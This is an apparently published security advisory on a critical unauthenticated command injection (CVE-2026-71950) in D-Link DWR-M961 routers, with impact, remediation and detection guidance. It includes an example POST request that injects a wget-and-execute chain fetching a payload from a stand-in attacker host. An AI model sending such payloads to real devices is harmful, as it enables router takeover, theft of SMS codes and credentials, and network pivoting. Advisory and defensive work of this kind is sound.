Skip to main content
COSMICBYTEZLABS
NewsSecurityHOWTOsToolsTraining
StudyProjectsNewsletterHire MeAbout
Subscribe

Press Enter to search or Esc to close

News
Security
HOWTOs
Tools
Training
Study
Projects
Newsletter
Hire Me
About
RSS Feed
Reading List
Subscribe

Stay in the Loop

Get the latest security alerts, tutorials, and tech insights delivered to your inbox.

Subscribe NowFree forever. No spam.
COSMICBYTEZLABS

Your trusted source for IT intelligence, cybersecurity insights, and hands-on technical guides.

2277+ Articles
157+ Guides

CONTENT

  • Latest News
  • Security Alerts
  • HOWTOs
  • Checklists
  • Projects
  • Exam Prep

RESOURCES

  • Search
  • Browse Tags
  • Newsletter Archive
  • Reading List
  • RSS Feed

COMPANY

  • About Us
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CosmicBytez Labs. All rights reserved.

System Status: Operational
  1. Home
  2. Security
  3. CVE-2026-71950: D-Link DWR-M961 Command Injection via formSmsManage
CVE-2026-71950: D-Link DWR-M961 Command Injection via formSmsManage

Critical Security Alert

This vulnerability is actively being exploited. Immediate action is recommended.

SECURITYCRITICALCVE-2026-71950

CVE-2026-71950: D-Link DWR-M961 Command Injection via formSmsManage

A critical unauthenticated command injection in the D-Link DWR-M961 SMS management interface allows remote attackers to execute arbitrary OS commands via the action_value field. CVSS 9.8.

Dylan H.

Security Team

August 9, 2026
4 min read

Affected Products

  • D-Link DWR-M961 (Hardware C1) — Firmware < 1.1.5_C1_202607071108

Executive Summary

CVE-2026-71950 is a critical unauthenticated command injection vulnerability in D-Link DWR-M961 routers (hardware version C1) with firmware versions before 1.1.5_C1_202607071108. The affected endpoint is /boafrm/formSmsManage, where the action_value POST parameter is passed to an OS shell call without sanitization.

CVSS Score: 9.8 (Critical)

This is the third in a cluster of four command injection CVEs (CVE-2026-71948 through CVE-2026-71951) disclosed for the same device. All share the same root cause — missing input sanitization in the boahttp web server — and are fixed by the same firmware release.


Vulnerability Overview

AttributeValue
CVE IDCVE-2026-71950
CVSS Score9.8 (Critical)
TypeCommand Injection (CWE-77)
Vulnerable Interface/boafrm/formSmsManage
Vulnerable Parameteraction_value
Attack VectorNetwork
Privileges RequiredNone
User InteractionNone
Fixed Firmware1.1.5_C1_202607071108

Affected Devices

DeviceHardware VersionAffected FirmwareFixed Version
D-Link DWR-M961C1< 1.1.5_C1_2026070711081.1.5_C1_202607071108

Technical Details

The /boafrm/formSmsManage endpoint manages SMS functionality exposed by the router's embedded cellular modem — operations such as reading, sending, or deleting SMS messages stored on the SIM card. The action_value field specifies which SMS action to perform and is incorporated into a shell command without character escaping or allowlist validation.

This design flaw is representative of a broader pattern in embedded router firmware where convenient "run this value in a shell" shortcuts are taken during development without security controls.

Exploit Chain

1. Attacker locates DWR-M961 C1 router with web interface reachable
2. POST request crafted targeting /boafrm/formSmsManage
3. action_value field contains shell metacharacters + payload
4. boahttp passes value to system() or equivalent without filtering
5. Arbitrary commands execute under root privilege
6. Full device compromise — credentials, persistence, lateral movement

Example Payload Structure

POST /boafrm/formSmsManage HTTP/1.1
Host: <router-ip>
Content-Type: application/x-www-form-urlencoded
 
action_value=delete;wget+http://attacker.example/payload+-O+/tmp/p;sh+/tmp/p&sms_index=1

Impact Scope

ImpactDescription
Remote Code ExecutionFull OS command execution as root
SMS Data AccessRead SIM-stored SMS messages (sensitive OTP codes, etc.)
Credential TheftExtract stored Wi-Fi and admin credentials
Persistent MalwareInstall startup scripts for persistence
Network PivotAttack LAN hosts from trusted router position
SIM AbuseInteract with cellular modem to send or intercept SMS

The SMS angle adds a secondary risk dimension — if the router's SIM card receives 2FA codes or OTPs for other services, those are accessible to the attacker post-compromise.


Immediate Remediation

Step 1: Firmware Update

Apply 1.1.5_C1_202607071108 or later immediately:

  1. Access admin panel at http://192.168.0.1 (or configured LAN IP)
  2. Go to Maintenance > Upgrade (or Firmware Update)
  3. Upload firmware obtained from D-Link's official support portal
  4. Reboot and verify version in Status > Device Info

Step 2: Interim Mitigations (if patching delayed)

1. Disable WAN-facing management access immediately
2. Block access to /boafrm/ URIs at any upstream firewall
3. Isolate the router on a separate network segment
4. Rotate any credentials that may have been sent via SMS through this device
5. Monitor for unexpected outbound connections originating from the router

Step 3: Post-Compromise Response (if breach suspected)

# Factory reset device (clears attacker persistence)
# Then immediately apply firmware update before reconfiguring
 
# Check for scheduled tasks
crontab -l
cat /etc/crontabs/root
 
# Look for dropped files in writable directories
ls -la /tmp/ /var/tmp/

Detection

IndicatorDescription
POST requests to /boafrm/formSmsManage containing ;, &&, |Injection attempt
Unusual DNS/HTTP traffic from router management IPC2 beacon or exfiltration
SIM balance depletion or unexpected SMS sendingModem abuse post-exploit
Admin interface inaccessible or password changedActive attacker takeover

Related CVEs in This Advisory Series

CVEInterfaceVulnerable Field
CVE-2026-71948/boafrm/formDebugDiagnosticRunhost
CVE-2026-71949/boafrm/formUSSDSetupussdValue, selectMenuValue
CVE-2026-71950 (this advisory)/boafrm/formSmsManageaction_value
CVE-2026-71951/boafrm/formIMEISetupIMEI_value

References

  • NIST NVD — CVE-2026-71950
  • D-Link Security Advisory
#D-Link#Command Injection#CVE-2026-71950#Router Security#Network Devices#RCE

Related Articles

CVE-2026-71948: D-Link DWR-M961 Command Injection via formDebugDiagnosticRun

A critical unauthenticated command injection vulnerability in D-Link DWR-M961 routers allows remote attackers to execute arbitrary commands via the host field in the formDebugDiagnosticRun interface. CVSS 9.8.

5 min read

CVE-2026-71949: D-Link DWR-M961 Command Injection via formUSSDSetup

A critical unauthenticated command injection vulnerability in D-Link DWR-M961 routers enables remote code execution through the ussdValue and selectMenuValue fields in the formUSSDSetup interface. CVSS 9.8.

4 min read

CVE-2026-71951: D-Link DWR-M961 Command Injection via formIMEISetup

A critical unauthenticated command injection vulnerability in D-Link DWR-M961 routers allows remote code execution by injecting OS commands into the IMEI_value field of the formIMEISetup interface. CVSS 9.8.

5 min read
Back to all Security Alerts